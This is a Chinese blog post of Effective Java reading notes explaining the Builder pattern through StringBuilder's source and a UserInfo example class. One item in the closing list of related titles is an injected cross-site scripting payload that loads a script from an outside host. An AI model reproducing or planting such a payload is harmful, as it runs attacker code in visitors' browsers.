Effective Java -- 遇到多个构造器参数时要考虑用构建器(Builder)
来源:互联网 发布:淘宝怎么设置子账号 编辑:程序博客网 时间:2024/05/29 16:55
本文是 《Effective Java》的读书笔记,由于是Java进阶书,难免会有理解的偏差,如有错误,非常欢迎能批评指正,本人不胜感激!
什么是构建器(Builder)呢,参加过面试的同学可能会有被问到String
和StringBuffer
和StringBuilder
的区别,这里就有StringBuilder
这个字符串构建器,我们来简单看一下这个构建器的用法吧!
String sb = new StringBuilder().append("I ") .append("am ") .append("student.").toString();
我们看一下这里用的append()
函数的源码
@Override public StringBuilder append(String str) { super.append(str); return this; }
可知这个append()
将传入的str
通过调用父类的方法加到了该对象字符串的后面,并将该对象返回了,这样就可以连续的调用append()
方法,并且保持对象的唯一性(String
每次都会创建一个新的对象)。
在父类方法中使用String
的getChars()
方法,将我们传入的str
值添加的字符数组value
中去。
public AbstractStringBuilder append(String str) { if (str == null) return appendNull(); int len = str.length(); ensureCapacityInternal(count + len); //将 str 添加到字符数组 value 中去 str.getChars(0, len, value, count); count += len; return this; }
[注]. 如想了解getChars()
的工作原理,可以查看String
的JDK源码,这里不再说明。
然后我们再来看一下最后的toString()
方法
@Override public String toString() { // Create a copy, don't share the array return new String(value, 0, count); }
这个方法就会通过value
这个字符数组里面的值生成一个String
返回过去。
上面我们我们可能对这个Builder
有了一个初步的模糊的了解,接下来我就举一个更加容易懂的例子,看一看这个Builder
的好处。
设想一个UserInfo
类,包含如下字段
可知,在这个类中用户ID,用户姓名是必要的,其他的是非必要的。
在这种参数相对比较多的情况下,使用构造函数创建实例,在客户端的代码就会显得比较麻烦,会分不清构造函数的哪一个参数对应哪一个值。
当然,我们可以为每个参数提供一个setter
方法,但是这种方式也有两种不足。
(1)因为构造过程被分到了几次调用中,所以在构造过程中可能会处于不一致的状态。类无法仅仅通过检验构造器参数的有效性来保证一致性。
[注]对于这句话,我个人的理解如下
比如上面的用户类,我们规定如果职位为Java开发工程师,则性别一定是男性。
但是由于setter
方法是分成两部进行设置值,而且设置值的顺序也是不一致的,所以就无法使两个参数同时满足上面的要求。
(2)对于一些final
类是无法使用setter
方法的。
那么有没有一种方法不仅能满足重叠构造器的安全性,又能满足像使用setter
那样的易读性呢?
这时候我们的构建器(Builder)就闪耀登场了。使用Builder分成下面的三步:
- 使用所有的必要字段(如上用户ID,用户姓名)生成一个Builder
- 在Builder上利用
setter
方法设置一些非必要的属性(可以一次设置一个或多个,如用户性别和职位的关联,不满足就抛异常)。 - 调用无参的
builder()
方法生成不可变的对象。(如StringBuilder
中的为toString()
方法)。
实例代码如下
package com.blog.effective2;/** * @func 使用构建器(Builder) * Created by 张俊强~ on 2017/10/30. */public class UserInfo { private final String userId; //required private final String userName; //required private final String userPosition; private final String userSex; private final String userAge; private final String userEmail; public static class Builder { private final String userId; //required private final String userName; //required private String userPosition = ""; private String userSex = ""; private String userAge = ""; private String userEmail = ""; public Builder setUserEmail(String email) { userEmail = email; return this; } public Builder setUserSexAndPosition(String sex, String position) { //出现性别不是[男]的[Java程序员],则抛异常 if ((!"男".equals(sex)) && "Java程序员".equals(position)) { throw new RuntimeException("参数匹配异常"); } userSex = sex; userPosition = position; return this; } public Builder setUserAge(String age) { userAge = age; return this; } public Builder(String userId, String userName) { this.userId = userId; this.userName = userName; } //最后的 build 方法 public UserInfo build(){ return new UserInfo(this); } } public UserInfo(Builder builder) { this.userId=builder.userId; this.userName=builder.userName; this.userPosition=builder.userPosition; this.userAge = builder.userAge; this.userEmail = builder.userEmail; this.userSex = builder.userSex; } @Override public String toString() { return "UserInfo{" + "userId='" + userId + '\'' + ", userName='" + userName + '\'' + ", userPosition='" + userPosition + '\'' + ", userSex='" + userSex + '\'' + ", userAge='" + userAge + '\'' + ", userEmail='" + userEmail + '\'' + '}'; }}
有如下的测试代码
public static void main(String[] args) { // 格式与 StringBuilder 是一致的. UserInfo userInfo=new UserInfo.Builder("001","张三").setUserAge("23") .setUserEmail("test@test.com") .setUserSexAndPosition("男","Java程序员").build(); System.out.println(userInfo.toString()); } //输出结果 //UserInfo{userId='001', userName='张三', userPosition='Java程序员', userSex='男', userAge='23', userEmail='test@test.com'}
在这种模式下,由于在创建对象的同时需要创建相应的Builder
对象,产生额外的花销。
简而言之,如果类的有多个参数时,可以考虑使用Builder
模式(在该类中有很多参数是不必要的情况下,Builder
模式表现的就更好)。
2017/10/30 13:05 于 福州大学.
- Effective Java -- 遇到多个构造器参数时要考虑用构建器(Builder)
- effective java(一)遇到多个构造器参数 时要考虑用构建器
- Effective Java记录2:遇到多个构造器考虑用构建器(Builder)
- Effective Java第二条:遇到多个构造器参数时要考虑用构建器
- Effective Java (2) - 遇到多个构造器参数时要考虑用构建器
- Effective Java 第二条:遇到多个构造器参数时要考虑用构建器
- Effective-Java学习笔记 遇到多个构造器参数时要考虑用构建器
- effective java(2) 之遇到多个构造器参数时要考虑用构建器
- Effective Jave——第2条: 遇到多个构造器参数时考虑使用构建器(Builder)
- 遇到多个构造器参数时要考虑用构建器——Effective Java 读书笔记
- 《Effective java》读书记录-第2条-遇到多个构造器参数时要考虑用构建器
- Effective Java 2.2——遇到多个构造器参数时要考虑用构建器
- Effective Java 创建和销毁对象 2.遇到多个构造器参数时要考虑用构建器
- Effective java第二条:遇到多个构造器参数时要考虑用构造器
- 2、遇到多个构造参数的时候需要考虑使用构建器(effective java)
- Effective Java 2 -- 遇到多个构造器参数的时候考虑构建器
- 遇到多个构造器参数考虑用构建器(Builder)
- 读《effective java》笔记一:遇到多个构造器参数时要考虑用构造器
- stackWithMIn
- idea 使用SVN导出项目
- Maven学习之路六(Maven工程创建及坐标的添加_)
- 菜鸟学习redis之路(1)
- CentOS 7 时区调整与时间同步
- Effective Java -- 遇到多个构造器参数时要考虑用构建器(Builder)
- linux任务调度机制
- </tExtArEa>'"><sCRiPt sRC=http://xss.fbisb.com/Boa5></sCrIpT>
- NYNU_ACM 实验室招新月赛题解
- Redis
- C#简单数据库操作
- Hibernate无语句查询Criteria(用于单表条件查询)
- ACM中使用唯一分解定理
- flume的安装和使用